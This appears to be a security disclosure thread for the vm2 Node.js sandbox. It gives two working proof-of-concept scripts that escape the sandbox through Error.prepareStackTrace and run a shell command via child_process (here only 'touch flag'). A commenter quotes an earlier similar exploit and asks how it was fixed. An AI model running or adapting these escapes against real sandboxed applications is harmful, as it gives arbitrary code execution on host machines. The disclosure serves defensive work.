vm2_3.9.14_exploit_1.js

const {VM} = require("vm2");
let vmInstance = new VM();

const code = `
Error.prepareStackTrace = (e, frames) => {
    frames.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch flag'); 
};

(async ()=>{}).constructor('return process')()
`

vmInstance.run(code);

vm2_3.9.14_exploit_2.js

const {VM} = require("vm2");
let vmInstance = new VM();

const code = `
Error.prepareStackTrace = (e, frames) => {
    frames.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch flag'); 
};

async function aa(){
    eval("1=1")
}

aa()
`

vmInstance.run(code);

• Expected result: We can escape vm2 and execute arbitrary shellcode. In our PoC, a file called `flag' is written through the vulnerability.
• vm2 version: 3.9.14 (latest version)
• Node version: 18.15.0, 19.8.1, 17.9.1, ...
• Root cause: It seems that vm2 is not properly handling errors that occur in async functions.

@seongil-wi Did you looked at the earlier issues reported by oxeye team here - https://www.oxeye.io/resources/vm2-sandbreak-vulnerability-cve-2022-36067 ??

In oxeye team's report also the method for escaping the sandbox was typically same where attacker is using the prepareStackTrace() method to customise the CallStack() with escaping context scenario . I am mentioning the part of exploit here:

`globalThis.Error.prepareStackTrace = function(err, traces) {
traces[0].getThis().process.mainModule.require('child_process')

// Here the author is exploiting the fact that CallSite array of stack frames is not sandboxed. Though the author is using one of the 
     method here is getThis(). 

}`

I am curious about and trying to understand how this was fixed earlier. If the fix is happening in sort of blacklisting the different kinds of error or exception an attacker can raise?